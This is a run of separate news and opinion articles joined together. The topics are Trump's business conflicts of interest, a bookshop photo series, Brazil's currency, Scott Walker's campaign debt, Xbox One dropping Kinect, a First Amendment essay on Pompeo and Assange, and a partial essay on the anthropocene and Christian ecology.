diplomatic delegations most likely will keep it that way.  As Trump flits between his Manhattan skyscraper; a New Jersey golf club, the entrance to which reminds him of 10 Downing Street; and his Mar-a-Lago club in Florida, which The New York Times likens to the Palace of Versailles, the President-elect keeps the firm's key brands in the public eye - ka-ching!  Meanwhile, business partners from Baku in Azerbaijan to Mumbai in India congratulate themselves on their very good foresight in getting into business with a realtor who they can't have seriously countenanced would become leader of the free world - ka-ching! ka-ching!  In all of this, and in the global web of Trump business, there are enough conflicts of interest to consume an army of ethicists and lawyers.  But in contemplating it all, it wasn't until Wednesday that a real OMG! moment dawned, when Politico magazine made a remarkable observation of Trump, who as a callow candidate had refused to publicly release his tax returns because he was being audited by the Internal Revenue Service - but who confirmed with some pride during the campaign that he had paid no personal income tax for almost two decades, because of dubious losses worth almost $US1 billion.  As President, Trump gets to pick and appoint his own tax auditor, because IRS commissioner John Koskinen's term expires in November 2017 - or sooner if congressional Republicans succeed in a bid to drive him out earlier.  On another front, Trump's newly appointed Attorney-General could be taking over a Justice Department still locked in negotiation with the German Deutsche Bank, with which Trump businesses reportedly hold loans currently worth as much as $US360 million.  US federal regulators reportedly have levied a $US14 billion fine on the bank as punishment for its trading in toxic mortgages during the housing crisis that pushed the US to the brink of financial collapse in 2007.  There's speculation in the German media that Berlin might end up bailing out Deutsche Bank by taking an ownership stake - an outcome that would leave a President Trump as Borrower Trump, in a troubled bank that conceivably might see itself having commercial leverage over Client Trump who is President Trump; at the same time as the bank's newest shareholder, the Berlin government, might see itself having diplomatic leverage over Ally Trump who is President Trump who is Borrower Trump.  China is another case in point. The Bank of China is a tenant in Trump Tower and a major lender to a consortium, of which Trump is a member, which owns another New York office tower - but the bank also is a powerful financial instrument of the Beijing government, which Trump has threatened to designate as a currency manipulator and to target in a trade war.  Ditto Russia - the nature of Russian investment in Trump businesses or any Trump investments in Russia are unclear. But in 2008, his son Donald jnr told a property conference in New York that "Russians make up a pretty disproportionate cross-section of a lot of our assets ... we see a lot of money pouring in from Russia."  Ditto Turkey - during the campaign Trump confided to a radio interviewer that he had "a little conflict of interest" in Turkey that might impact his handling of US foreign policy were he to become president. "I have a major, major building in Istanbul. It's called Trump Towers. Two towers, instead of one."  And we can only guess about Saudi Arabia, which Candidate Trump recently declared needs his protection. In the course of the election campaign, Entrepreneur Trump reportedly established eight companies to develop luxury real estate projects in Saudi Arabia, and in August he told a rally in Alabama: "Saudi Arabia, I get along with all of them. They buy apartments from me. They spend $40 million, $50 million. Am I supposed to dislike them? I like them very much."  Trump's Indian partners in a luxury residential project near Mumbai came to Trump Tower for happy snaps with their powerful partner - which they released to the Indian press as they confirmed that, of course, they had discussed future developments with the next president of the United States.  Both Trump and Argentinian President Mauricio Macri denied reports in the Argentinian press that when Macri called to congratulate the President-elect, Trump has asked Macri if he could nudge along the permit process for a long-delayed office development in Buenos Aires.  In Manila, the Trump-like leader of the Philippines, Rodrigo Duterte, appointed Trump's local development partner as a trade envoy to the US.  Last week about 100 foreign embassy representatives attended a show-and-tell at the new Trump hotel in Washington - and several happily explained to The Washington Post that having their visiting delegations stay in the hotel was surely a good way to curry favour.  Think about this - at this hotel just a few blocks from the White House, Trump has appointed an executive to go after the business of foreign officials who will be coming to town to, um, see him. And of course they'll be coming for his inauguration - only $US20,000 a night for the penthouse, and bookings will be accepted only for five or more nights.  A further, minor complication with the DC hotel is this - because the Trump organisation leases the property from the federal government, Tenant Trump and Landlord Trump are technically one and the same.  More than 100 of Trump's 500 companies have done or do business overseas - including seven resorts, hotels and other projects, 11 more under construction and many more reportedly on the drawing boards in 18 countries, including Britain, Uruguay, Turkey, Indonesia, South Korea and the United Arab Emirates.  Trump will be the first president to come to office while controlling a global corporate empire - a detailed description of which was mysteriously removed from Trump's greatagain.gov website in recent days.  A problem in all this is that despite Trump's occasional use of the phrase "conflict of interest", there is no sense that Trump understands its application to his circumstances - his tax policy leaves intact the developer-friendly loopholes through which he massaged his near $US1 billion losses onto the backs of American taxpayers, but eliminated those by which hedge fund managers, as he complained so bitterly, were "getting away with murder".  The take-away from Trump's meeting this week with staff of The New York Times was that at this late stage of the process, his thinking in response to repeated ethics-based demands, from both sides of the political aisle, that he divest and/or put all his corporate holdings in a genuine blind trust, remains vague and non-committal.  It's very probable that his talk of needing to do something with the business, at the very least to go through the motions of guarding against conflicts of interest by putting it in the hands of his children, will go the same way as the promised release of his tax returns - America, don't hold your breath.  Ben Carson, Trump's one-time rival for the GOP presidential nomination and this week Trump's nominee as the next US secretary of housing, is a neurosurgeon who claims to be "God's hands".  But as the absence of real restraints on the office of president comes under intense scrutiny, it's as though Trump will have almost godly freedom and power to act as he likes in the Venn diagram overlaps of his family, business and presidency.  A semblance of tradition and protocols, premised on a sense of decency, apply to conflicts of interest in American public life - but very little of the relevant law actually applies to the presidency. Nonetheless, presidents Reagan, Clinton and the two Bushes voluntarily put their more meagre assets in "blind trusts" which were controlled by independent trustees.  Congress has no oversight powers on presidential conflicts of interest. What is called the Emoluments Clause in the constitution bars officials from accepting "any present, emolument, office, or title, of any kind whatever, from any king, prince, or foreign state" - but its applicability to the presidency has never been tested legally.  "The level of entanglements here are unprecedented," Ken Gross, a lawyer who has advised presidential candidates from both parties, told The Washington Post. "He'll have to deal with conflict entanglements almost on a daily basis, based on the holdings he has, particularly those involving international issues. It's just going to plague him, one way or another."  Richard Painter, chief White House ethics lawyer under George W. Bush, told the Post: "There are so many diplomatic, political, even national security risks in having the president own a whole bunch of properties all over the world.  "If we've got to talk to a foreign government about their behaviour, or negotiate a treaty, or some country asks us to send our troops in to defend someone else, we've got to make a decision. And the question becomes: Are we going in out of our national interest or because there's a Trump casino around?"  Stripped back, the response of Trump, his offspring, their surrogates and lawyers amounts to a demand that he and his family be trusted - a big ask, given how much Americans now know of how Trump has conducted himself as a businessman and corporate citizen, - with a dash of arrogance.  "The law is totally on my side, the president can't have a conflict of interest," reporter Maggie Haberman tweeted from Trump's meeting with The New York Times' editorial staff. The Post's Chris Cillizza immediately nominated the quote for inclusion in the hall of dangerous political statements - right up there, beside Richard Nixon's "well, when the president does it, that means it is not illegal".  Trump surrogate and former New York mayor Rudy Giuliani had made a similar comment to CNN: "You realise that those laws don't apply to the president, right? So the president doesn't have to have a blind trust. For some reason, when the law was written, the president was exempt."  With that kind of talk in mind, it's worth pausing to think about Trump's election win and of what it reveals about the current mindset of American voters.  Here is a president who used social media to speak to voters over the heads of the MSM - the mainstream media; he was openly contemptuous of the MSM's clinging to fuddy-duddy principles of political propriety and integrity - what New York Times commentator Ross Douthat this week described as "Timesian sensibilities".  But it seems the voters were with Trump - a good number of them are contemptuous too.  The MSM looks for precise meaning and accountability in what Trump says. But a good number of Americans, for now at least, look for comfort in how he makes them feel. It's an asymmetrical engagement, one in which the risk of long-term damage to the national political psyche and institutions doesn't count for a lot because there's not a lot of respect for those making the argument that these things matter.  These are rare circumstances in which an unconventional president, who knows all about licensing his brand, may have been licensed by the people to get away with more than any of his predecessors.  Time will tell. Stay tuned - because as sure as hell, the Trump era will be a walk on the wild side.  - Sydney Morning Herald
-The guys at the Librairie Mollat, a bookshop in France, have been gathering quite a bit of attention lately thanks to their awesome photo series, in which they match readers with their book covers.  The bookshop’s Instagram account has already garnered the attention of over 23,000 followers, and you’re about to understand why. The pics are not just quick snaps, they’re executed so painstakingly well, that we had to double check if it’s not Photoshopped. The cool bit is that you can easily do the same at home. And if you do try it out, make sure to share the results in the comments! More info: instagram (h/t)  Read more  #1  #2  #3  #4  #5  #6  #7  #8  #9  #10  #11  #12  #13  #14  #15  #16  #17  #18  #19  #20  Here are examples of the same juxtapose technique used to travel back into Parisian past.
-Investors got what they wished for.  In a Sunday sitting of the lower house of Congress, legislators voted by a landslide to end Brazil’s misery and begin impeachment proceedings against President Dilma Rousseff.  For foreign exchange traders it marked the culmination of a rally that has sent the Brazilian real soaring for months.  Yet the outlook is far murkier than the view projected from the markets, Olivier Desbarres, an independent currency strategist previously with Barclays and Credit Suisse, says on this week’s Emerging Opportunities show with Frontera Managing Editor Gavin Serkin.  With a far from straight-forward political and legal battle ahead, he advises short-selling the real as the currency will reverse its gains once the new reality sets in.  - Advertisement -  Brazil’s political crisis is one of many unknowns confronting emerging market investors. North Korea’s increasingly long-range nuclear capability, Islamic State’s spread into Asia and Vladimir Putin’s expanding influence are part of the big picture analysed on the show by Phill Hynes, the head of ISS Risk.
-Gov. Scott Walker is asking for donations to pay off his campaign debt. Credit: Associated Press  By of the  Facing an estimated $1 million in debt from his failed presidential campaign, Gov. Scott Walker is now soliciting donations to pay it off.  "As things changed dramatically in the presidential race, 'Walker for America' incurred a campaign debt and it is my hope that you and all of our supporters will chip in and make an online contribution of $10, $35, $50, $100, $250, or more so we can end this campaign in the black," Walker wrote in a fundraising email sent this week. "It is a lot to ask, I know, but we feel personally obligated to make sure that every small business that extended us their good faith and credit is repaid."  The Wisconsin governor dropped out of the 2016 presidential race in September, and campaign finance reports released last month showed his short-lived campaign raised $7.4 million but spent money as quickly as it came. Those reports showed the campaign burned through about $90,000 a day, in part due to exorbitant salaries paid to a massive staff.  Walker's email noted that the race "didn't turn out the way we wanted" but stressed that he is back at work in his office in the state Capitol.  "While we are disappointed, there are always new ways to serve others and plenty of conservative reforms to enact in Wisconsin," Walker wrote. "For a kid who grew up in small-town America, whose family didn't have a lot of money, the opportunity to run for president of the United States is an experience I will never forget."  On Friday, Walker said that while he wouldn't be on the stage when Republican presidential candidates descend on Milwaukee for Tuesday night's debate, he plans to be in the audience with his family.  "Tonette and I and the boys will be there. We wanted to participate in it because it's here in Wisconsin. And because we know not just the candidates, we know a good chunk of the families," the governor said Friday. "A number of the governors, in particular, our families have known each other for years. We've gotten to know some of the senators along the way. And so it will be nice to welcome them here to the state of Wisconsin."  Walker will also make appearances on Monday with two 2016 hopefuls, former Florida Gov. Jeb Bush and U.S. Sen. Marco Rubio. Walker is scheduled to join Bush at a charter school event at La Casa de Esperanza in Waukesha, and attend a campaign fundraiser Rubio is doing for Assembly Speaker Robin Vos (R-Rochester).  The governor spoke with reporters at the Milwaukee Art Museum on Friday after addressing a young professionals convention there.  In his fundraising email, Walker briefly addressed questions about his political future.  "When God closes one door, another one opens," he wrote. "While I don't know exactly what the future holds, trust me, we will continue leading the fight for big, bold conservative change in Wisconsin and across America."  The liberal group One Wisconsin Now slammed Walker for doing fundraising rather than focusing on economic problems in the state, such as the announcement this week that the Oscar Mayer plant in Madison would be shuttering, resulting in the loss of 1,000 jobs.  "Wisconsin families are being thrown into chaos and losing their jobs because Scott Walker was more focused on chasing his own presidential ambitions than doing his job as governor," One Wisconsin Now Executive Director Scot Ross said. "And now, instead of taking even one iota of responsibility for his failure, he's shaking down donors to pay off the debt he rang up on the campaign trail paying bloated salaries to political operatives and even his own family."  On Friday, Walker said the decision by the corporate parent Kraft Heinz Co. to close Oscar Mayer in Madison was "part of a global corporate decision" that was "not a reflection of Wisconsin."  He added that he was still trying to meet with the Kraft Heinz CEO.  Walker had faced criticism from Madison Mayor Paul Soglin, who said he was mystified that the state had apparently not done anything to keep the plant in Wisconsin.  Walker responded Friday by voicing concern about people pointing fingers but added that he couldn't understand why Soglin didn't contact him if he was concerned about a possible plant closure.  "I think just about any other mayor we've dealt with in the state would immediately respond by reaching out to us. We had no communication from the mayor or his office to our office or to the Wisconsin Economic Development Corp.," Walker said. "That's a little surprising to us."
-The pack-in Kinect is no more, and while Microsoft remains bullish on the camera's place at the heart of "the premium Xbox One experience", the reality is clear: for all the right reasons, Kinect has gone from being an integral component to an optional peripheral.  This solves many problems: the price differential with PlayStation 4 has now been addressed, while internal resources dedicated to Kinect processing can now be returned to game developers. On the flipside, the original vision for Xbox One as a multi-faceted all-in-one entertainment system as well as a games machine now lies in ruins. Kinect was at the heart of everything that made Xbox One different and without it we're left with a machine that offers pretty much the exact same proposition as PS4, but without parity in hardware specifications.  This week's announcements are all about levelling the playing field with Sony. The price is the same, Games with Gold moves closer into alignment with PlayStation Plus, while non-gaming services are also like-for-like thanks to the removal of the almost criminal paywall that saw users paying for the privilege of using Internet Explorer, Skype and even non-Microsoft services like YouTube and Netflix - a state of affairs entirely unique to Xbox in a world where all of those services are free on virtually every other device available. It's the latest in a long line of U-turns, but there's the sense that Microsoft is finally listening.  But of all the repositioning carried out this week, it's the removal of Kinect that feels most important, because it's the end of Microsoft's vision for an all-in-one entertainment system. In hindsight, packing in Kinect and making media integration central to the Xbox One proposition looks like an awful mistake. However, put into context, there were perfectly logical reasons for every single element of its failed strategy. So what were they? And what kind of legacy do they leave now that things have changed so dramatically?  "Of all the repositioning carried out this week, it's the removal of Kinect that feels most important - it's the end of Microsoft's vision for an all-in-one entertainment system."  Kinect is the main gateway to Xbox One's media functions - without it, we're left with a piece of hardware that looks more like the set-top box replacement it was designed to be rather than a state-of-the-art next-generation games console.  If we turn the clock back to the time where the key technological decisions were being made - towards the end of 2010 and moving into 2011 - we were looking at a fundamental change in the console audience and how gaming hardware was actually being used. Microsoft looked at the ways that gaming was adapting, attempted to anticipate future trends and produced a hardware concept that ticked all the boxes.  Let's not underestimate the sheer wealth of data Microsoft (and indeed Sony) has on its userbase and how we interact with hardware. Online services allow the platform holders to monitor information how your console is being used, what peripherals are attached, what displays you're using and what games and apps are being loaded. Statistics showed that for many users, the Xbox 360 was being utilised more for media streaming than it was for actual gameplay. Nielsen's 2011 research demonstrated that after watching directly from a computer, games consoles were the next most popular form of media streamer.  Meanwhile, the late 2010 launch of Kinect for Xbox 360 was a staggering success, with a phenomenal eight million units shifted, making it the most successful consumer electronics launch in history - and also, according to sources at Microsoft, making Xbox 360 the first console to sell more in its fifth year on the shelves than it did in its fourth. Each of these factors had a profound impact on Microsoft's thinking behind the next-gen Xbox.  Thanks to the remarkable Xbox 720 vision document leak, we actually have a unique insight into the thought processes that produced the Xbox One. Put together as a discussion document for an internal summit hosted during September 2010, the PowerPoint presentation showed us in extreme detail how Microsoft were approaching the follow-up to Xbox 360. Apple and Google were defined as key competitors as well as Sony and Nintendo, while "next-gen sensors" like Kinect and VR/AR glasses were viewed as key points of differentiation that Microsoft could exploit. The need to "appeal to broad audiences" and "scale the business" to set-top boxes and beyond was identified.  "The leaked 2010 'Xbox 720' document reveals that the pack-in Kinect and the media strategy were in place some time before the core Xbox One design was finalised."  On 24th September 2010, Microsoft held a meeting to discuss the vision for the console that would become Xbox One. What's clear is that the mandatory Kinect and the idea of a console that was more than just a games machine was already locked in - indeed, the hardware was built around this concept.  It's an ambitious document in many ways, but it's notable that AAA gaming capabilities were probably the least forward-looking element - a target of a mere 4x to 6x Xbox 360 quality is mentioned more than once (though 8x gets a look-in on one occasion). Instead we see more focus on the intriguing new concept of transmedia gaming, where real-time TV and gaming are combined, again with Kinect as the centrepiece. Why just watch the golf when you can actually take part in the event, with stats and performances inserted into the game as it happened? It never happened of course, but it's indicative of the thought processes of the time. There's a sense that Microsoft felt it owned AAA gaming and wanted to do something more, something different. It wrongfully perceived threats from companies that have still yet to mount any kind of challenge to the traditional home console and considered mobile devices as companion technology, rather than the actual destination for the majority of the more casual gamers it craved.  A lot changed in the final Xbox One design, of course. The fact that Microsoft was still debating whether to use ARM or x86 cores demonstrates that the internal discussion took place some time before the hardware was finalised. Xbox 360 backwards compatibility never happened, a mooted modular design that could have led to an upgradable console was shelved (but patents were applied for), OnLive was never acquired and cloud streaming functionality is unlikely to appear on Xbox One any time soon.  But much of the discussed spec made it to the final product - eight x86 cores, ESRAM, a cool and quiet set-top box design and of course the second-gen Kinect. The $50 budget per unit for the main processor sounds about right and even the 120W power envelope mooted in the leaked document was actualised in the final design. But more important than specifics in hardware detail is the overall vision for what the box should be capable of - gaming had to co-exist with media and apps in order to appeal to the broadest possible audience and Kinect was omnipresent in Microsoft's thinking. We can't help but wonder what Sony's equivalent 2010 document would look like. We suspect it would be nothing like this.  "The notion of a multimedia set-top box dominated Microsoft's thinking, defining the core design of the machine - a legacy that may impact its new role as a more traditional console."  What happened next was a mixture of changing market conditions, a stunning revitalisation in Sony's fortunes and poor decision-making on Microsoft's part. The Xbox 720 document points towards a $299 price point - the sweet spot that had served the PlayStation and its successor so well - but the ambition of Microsoft's design along with the need to break even on hardware brought about a $499/£429 sticker price that killed off any idea of Xbox One going mainstream at launch, especially with Sony coming in much cheaper with PS4. Meanwhile, Kinect for gaming simply ran out of ideas on Xbox 360 - it was a one-year flash in the pan, third parties deserted it and, remarkably, even Microsoft itself failed to back the second-gen Kinect with must-have exclusive games for the Xbox One launch.  By the time the new hardware was revealed, controller-free motion gaming felt more like a punchline than the future, and the notion of a mandatory buy-in cost was clearly a bad idea without the software to support it. There was the sense that Microsoft was not listening to the core gamers that defined the success of the Xbox 360 - Kinect was a negative, not a positive, while the TVTVTVTV media functionality was perceived as a value-added feature - not the core of the device as it was presented at the initial reveal. On top of that, the notion of an always-on Kinect surveying our living rooms didn't sit well with allegations that the US government had extensive access to Microsoft's (and others') internet services. Once a mandatory extension of Xbox One, Microsoft was forced to make Kinect detachable from the console, with further privacy options implemented. The decoupling of the camera from the Xbox One had begun even before launch.  By the time the console reached stores, the media features were looking promising but under-developed where it really mattered. Voice control turned out rather well, the ability to seamlessly switch sources also worked beautifully, and the multiple biometric login feature was extremely cool technology. However, the focus on the bleeding-edge tech was at odds with the lack of basic features: there was no sign of DVR options, no 50Hz support, the Blu-ray app was bugged and local/network file playback was left off the spec sheet. Perhaps worst of all, the showcase OneGuide simply didn't work at all outside of the USA. By extension, Blu-ray aside, Xbox One didn't offer any must-have media services that weren't already available on Xbox 360.  "In pre-production, Microsoft considered ambitious concepts to integrate gaming and live TV in ways that never made their way to the final Xbox One."  In retrospect, Microsoft may be wondering whether it should have dropped Kinect pre-launch, much as Sony had done with the PlayStation Camera. However, to do so would have effectively killed all the non-gaming functions before the console had even hit the shelves, and our understanding is that Microsoft still retained faith in the media strategy even when it became clear that sales were flagging.  Internally, the discussion was framed as being about the first platform holder to reach 100m units, not the first to hit five million. The thinking was that Xbox One and Kinect media functionality would win over the mainstream when the price was right. Unfortunately for Microsoft (and indeed Sony), the conditions that allow for a current-gen console price-cut are highly limited - CPU and RAM costs remain at a premium and won't be falling substantially in the immediate future. In the meantime, enthusiasm for Xbox One was flagging. Titanfall was a system-seller, but sales dropped off again with each passing week and the added momentum was short-lived. Dropping the camera or paying for the price-cut itself were the only options available to Microsoft. With that, Kinect was history.  The decision to drop Kinect clearly has more advantages than disadvantages, but it places Xbox One in a difficult situation. The key media and apps strategy decided upon four years ago had a profound impact on the machine's design. Microsoft wanted a cool and quiet unit that could work as a set-top box - a decision that would have informed GPU and memory choice, key areas where it is outspecced by PS4. But it goes beyond that. The basic aesthetics of the console were defined by the media strategy to the point where Xbox One even looks more like an anonymous, slab-like STB as opposed to a stylish state-of-the-art games console.  From a gaming perspective, Kinect wasn't a well-supported device, so moving away from it feels like the best decision Microsoft could have made, but in many respects Xbox One now comes across as a machine designed around a series of concepts that are no longer relevant, elements of its core identity whittled away piece by piece. Microsoft made the decision to trade raw gaming power for a more rounded entertainment concept, sinking enormous amounts of time, money and effort into technologies that much of the userbase never used and that future buyers are even less likely to experience - and we're not just talking about Kinect.  "Is this the end of Kinect? If Microsoft is still working on its 'Fortaliza' VR/AR concept, the camera will play a key role."  Always online, always connected, designed to be left on for 10 years: this was a significant challenge with much time, effort and engineering sunk into it - now pretty much irrelevant as Xbox One becomes more games console than media centre. The HDMI input and passthrough remains, but doesn't work as well without voice control, while centralised control of your TV and sound system is now gone without Kinect. The innovative multi-OS virtual machine set-up is a breathtaking technological achievement, but always came across as unwieldy in action and now falls by the wayside in general usage now that the voice input has gone. Out of the box, the Kinect-free Xbox One is really no more of a media centre than its predecessor - and we can't help wonder whether all that time, effort and energy would have been better spent making the best games console possible instead.  While there is price parity with PS4, a brutal assessment of Xbox One is that we're still looking at a less capable machine retailing for the same price, with few points of differentiation. Communicating whatever it is that makes Xbox One unique, original and different is the new challenge facing Microsoft. Primarily it will be about exclusive titles and third-party content deals, but it's also about rebuilding a relationship with a core userbase that has lost its close sense of connection to the Xbox brand and has grown distrustful of Microsoft itself.  The good news for Microsoft is that games and content will always trump hardware spec. Yesterday's Halo 5 tease was short on details but at least re-introduced a key title with an immense level of goodwill associated with it, and the E3 line-up should be strong. Beyond that we understand that Microsoft isn't done with the cloud, and that games are being built around Azure that go beyond the utilisations we've seen thus far. Microsoft's third-party publishing team never lifted the foot off the gas in terms of securing exclusives, and doubtless we'll see more of their efforts at next month's press event. We won't see a total reboot of Xbox One, but at the very least the focus will be where it should have been from day one - on the games.
-Julian Assange has no First Amendment freedoms. He’s sitting in an Embassy in London. He’s not a US citizen.  You would think that by the time a person becomes the Director of the CIA, he would have a correct understanding of the Constitution, which is the founding document of the federal government, which the CIA is part of. This should be especially true when the CIA Director is a former member of Congress, a graduate of West Point, and the holder of a law degree from Harvard.Embarrassingly, such is not the case with CIA Director and former U.S. Congressman Mike Pompeo. In a speech delivered at the Center for Strategic and International Studies in Washington, D.C., Pompeo demonstrated a woeful lack of understanding of the Constitution and the Bill of Rights, specifically the First Amendment.Referring to his belief that WikiLeaks official Julian Assange, who is a citizen of Australia, should be indicted and prosecuted by the U.S. government for revealing secrets of the U.S. national-security establishment, Pompeo stated:That is quite an amazing statement. It’s also a misleading and fallacious one.What Pompeo obviously doesn’t get is that no one, including American citizens, has First Amendment freedoms. There’s a simple reason for that: Freedoms don’t come from the First Amendment. Or to put it another way, the First Amendment doesn’t give anyone, including Americans, any freedoms at all.People’s freedoms also don’t come from the Constitution. They don’t come from the federal government. They don’t come from the troops, the CIA, or the NSA either.Freedom comes from nature and from God. Even if the Constitution had never been approved by the American people — that is, even if the federal government had never been called into existence — people would still have their fundamental, natural,God-given rights. That’s because freedom and other natural, God-given rights preexist government and, therefore, exist independently of government.Thomas Jefferson makes this point clear in the Declaration of Independence when he points out that people are endowed with unalienable rights by nature and God, not by government or by some document that calls government into existence.There is something else that is important to note here: As Jefferson points out, everyone, not just American citizens, is endowed with these natural, God-given rights, including life, freedom, and the pursuit of happiness. That includes people who are citizens of other countries. Citizenship has nothing to do rights that are vested in everyone by nature and God.At the risk of belaboring the obvious, that includes Julian Assange. His freedom does not come from the Constitution or the First Amendment or by the Australian government. His freedom comes from the same source that your freedom and my freedom come from — from nature and from God.So, what is the purpose of government? Jefferson makes it clear: Government’s job is to protect the exercise of natural or God-given rights, including liberty.What about the First Amendment? If its purpose is not to give people rights, including freedom, what is its purpose?The purpose of the First Amendment, in part, is to protect the preexisting, natural, God-given freedom of people to publish whatever they want, including the dark, illegal, illicit, immoral, and evil secrets of the federal government, including such dark-side, totalitarian-like nefarious activities as assassination, murder, disappearances, coups, torture, abuse, partnerships with dictators, rendition, kidnapping, illegal surveillance, rendition, destruction of incriminatory evidence, illegal invasions and wars of aggression, and secret prison facilities.That’s what Pompeo and others of his ilk just don’t get: The purpose of the First Amendment and the rest of the Bill of Rights is to protect people from federal officials like him — officials who are hell-bent on destroying our lives, freedom, and prosperity, and well-being, all in the name of “keeping us safe” or protecting “national security.”Our ancestors were wise people. They knew that the federal government would inevitably attract people like Pompeo. That’s why the Constitution brought into existence a government of extremely limited powers rather than a general power that would enable federal officials like Pompeo to just do the “right” thing.That’s also why the Constitution didn’t empower the federal government to have a CIA, NSA, and standing army. Our ancestors knew that a national-security establishment would inevitably end up destroying people’s freedom in the name of “keeping them safe” and that it would inevitably try to punish people for publicizing and opposing its destruction of liberty.That’s why our ancestors demanded the enactment of the First Amendment and the rest of the Bill of Rights as a condition for approving the Constitution. They wanted to protect people’s fundamental rights and liberties from federal officials like Pompeo, who they knew would be the biggest threats to people’s fundamental, natural, God-given rights and freedoms.Reprinted with permission from the Future of Freedom Foundation
-In late August 2016, a group of experts recommended the declaration of a new geological epoch to the International Geological Congress.1 This new epoch, the anthropocene, presents a gestalt shift in the way that human being live and interact with the world. Whereas humanity was before a being in the world of the holocene, the anthropocene presents what Timothy Morton describes as “disturbing moment at which human history intersects decisively with geological time.”2 Despite its widespread use in the humanities and earth sciences since the 1980s, the potential declaration of a new geological epoch by a major geological organization has the potential to shift the way that humans exist in the world. Philosopher Rosi Braidotti has suggested that the anthropocene brings about a “time of deep epistemological, epistemological, ethical and political crises of values in human societies.”3  As many already know, climate change is intimately connected with racism and sexism.4 Climate change is caused by the richest countries at the expense of poorer counties and disproportionately impacts marginalized populations. As German philosopher Peter Sloterdijk points out, the anthropocene leads humans to “Humans create their own climate”5 through their technological prowess. The ability to create ones own climate leads humanity to be regarded as the designers of their own climate The purpose of this paper is to explore the impact that the anthropocene’s “crisis of values” has on religious values and practice. Specifically, how should Christians6 handle and grasp humanity’s responsibility as designers of the world?  Pope Francis’s anthropocentric stewardship  Any attempt at interrogating the relationship between Christianity and the anthropocene must engage with Pope Francis’ 2015 encyclical Laudato si’. In this controversial encyclical–written for all of humanity–, the Pope calls “for a radical transformation of politics, economics and individual lifestyles to confront environmental degradation and climate change, blending a biting critique of consumerism and irresponsible development with a plea for swift and unified global action.”7 Pope Francis suggests that capitalism and individualism are at the heart of the climate crisis. Climate change contains “environmental, social, economic, [and] political”8 implications, and it impacts are most likely to impact and shape the lives of those in areas of poverty. This happens in at least two ways. First, Capitalism allows rich countries control over poor countries through debt which leads to a global situation in which “developing countries, where the most important reserves of the biosphere are found, continue to fuel the development of richer countries at the cost of their own present and future.”9 Second, Climate Change is most likely to affect poorer countries who remain “largely dependent on natural reserves and ecosystemic services such as agriculture, fishing and forestry.”10 Pope Francis suggests that the rise in temperature produces disproportional “repercussions on the poorest area of the world […] where a rise in temperature, together with drought, has proved devastating for farming.”11  Peter Sloterdijk has argued that the anthropocene “paves the way for a fundamental change in attitude whereby human beings lose their status as would-be ‘lords and masters’ of nature and become atmosphere designers and climate guardians.” 12 The Pope gives a similar message stating that ““our “dominion” over the universe should be understood more properly in the sense of responsible stewardship.”13 With the anthropocene, the ability to design the world has been placed in human hands. The climate crisis is not only an ecological event, but also a socio-political crisis which means that human design pervades into this realm as well. Creation care cannot be separated from issues of economic or social oppression. Thus, when designing a response to the climate crisis one must consider the social, economic and political in addition to the ecological.  Pope Francis’s call for stewardship incorporates the intersectional nature of climate change. The stewardship of Francis’s design is inseparable from communion with all of creation. This is “the conviction that we need one another, that we have a shared responsibility for others and the world”14 which is expressed in a communitarian embrace of love. Paragraph 231 describes the solution to capitalism and individualism as a “civilization of love” in which “social love moves us to devise larger strategies to halt environmental degradation and to encourage a “culture of care” which permeates all of society.”15 A community where love takes precedence over greed and individualism, and where domination is not seen as ownership, but as care. Rather than a disconnected ownership with all creatures of the earth, Francis suggests that “It also entails a loving awareness that we are not disconnected from the rest of creatures, but joined in a splendid universal communion.”16 One might go so far as to suggest that Francis is advocating a design in which Dasein is being in loving community with all of being.  Yet, despite Francis’s advocacy for communion with all of creation, his writing retains an anthropocentric or human centric assumption. Francis argues that part of God’s design for the earth contains a provision that “Each community can take from the bounty of the earth whatever it needs for subsistence, but it also has the duty to protect the earth and to ensure its fruitfulness for coming generations.”17 Thus, while Pope Francis argues against dominion and ownership over the earth, his message of stewardship is still centred in a preservation of the earth for future humanity. Futhermore, despite his talk of stewardship and communion, the text retains at least some notion of dominion: “We are not God. The earth was here before us and it has been given to us.”18 The move away from damaging authoritarianism to a communitarian society retains a hierarchical notion of humanity as guardian or steward above those which they are guardian or steward of. Francis’s community retains the human at its centre and stewardship is presented as sustainability and preservation of the earth for humans.  Against Sustainability  The retention of the human centre is problematic because it retains a notion that earth and the creatures upon earth belong to humanity. Thus, when we talk about sustainability, it is centred on how to design the world so that it is beneficial to humans. In his recent New York Times opinion piece, “Against ‘Sustainability’” Jeremy Butman argues for an adaptable design rather than a conservational design. In order to do this Butman begins by discussing the lineage of the environmental movement. Traditionally, environmentalism is seen as coming out of 18th century romanticism, and Butman does not disagree. The traditional narrative suggests that Descartes, in his reduction of “nature” to mathematics, opens the door for a scientific, technological worldview which “cleared the way for the domination of nature by industry and prepared philosophy for Nietzsche’s dramatic declaration of the death of God.”19  What is left out of the dominant narrative is the idea that the central attributes of God “were in different ways transposed onto the body of nature” 20 in various discourses such as German and English Romanticism and American transcendentalism. What is problematic in this transposition is that nature is given the attribute of perfection – if perfection changes it becomes imperfect. Thus, the Aristotelean notion of nature as physis or change is discarded and nature becomes a Garden of Eden with the Death of God. Thus, when humans talk about sustainability our hope is to sustain nature for humans. Humans wish to retain their understanding of a perfect nature. Butman suggests that “we preserve the resources needed for human consumption, whether that means energy consumption or aesthetic consumption. In one sense, we preserve nature for industry.”21 Thus, Pope Francis suggestion that humanity ought to preserve for human consumption in ensuring the earth’s fruitfulness for future generations doesn’t undermine industrial consumption, but affirms it.  The problem with preservation is that it is based upon the idea that changes to the earth are destroying humanities perfect Garden of Eden. As Butman states, extinction is “only tragic if nature is viewed as something perfect that we are destroying rather than as a state of flux in which we are participating.”22 The idea of participation is powerful. It leads to a new conception of humanities communion with the earth, animals and inanimate beings. Rather than being “rulers over” the other, or even “guardians” of the other, Butman situates humanity as “participants” with the other. Participation with the other means saying “yes” to the anthropocene. Saying “yes” means that instead of the oppositional position of sustainability, humans should speak of adaptability. Butman envisions a worldview which sees the earth not as something other from humanity, but “…as a bustling world of colleagues, both human and nonhuman, animate and inanimate, over whom we have influence, but also influence us.”23  The Posthuman  In proposing humanity as participants within a greater community of adaption, Butman begins to move beyond the humanistic sustainability of Pope Francis and other environmentalists in order to envision a posthuman communion. Rosi Braidotti’s work in the Posthuman will allow us to explore what this interdependence community of participants might do. In order to examine the community, it is important to first understand the lineage of humanism to posthumanism which Braidotti outlines in the first chapter of The Posthuman. It is only after one is grounded in an understanding of this posthuman that one can begin to explore what a posthuman community might become.  Braidotti defines humanism as a tradition which, going back to Protagoras, centres man as the subject of universal rationality (i.e. man as 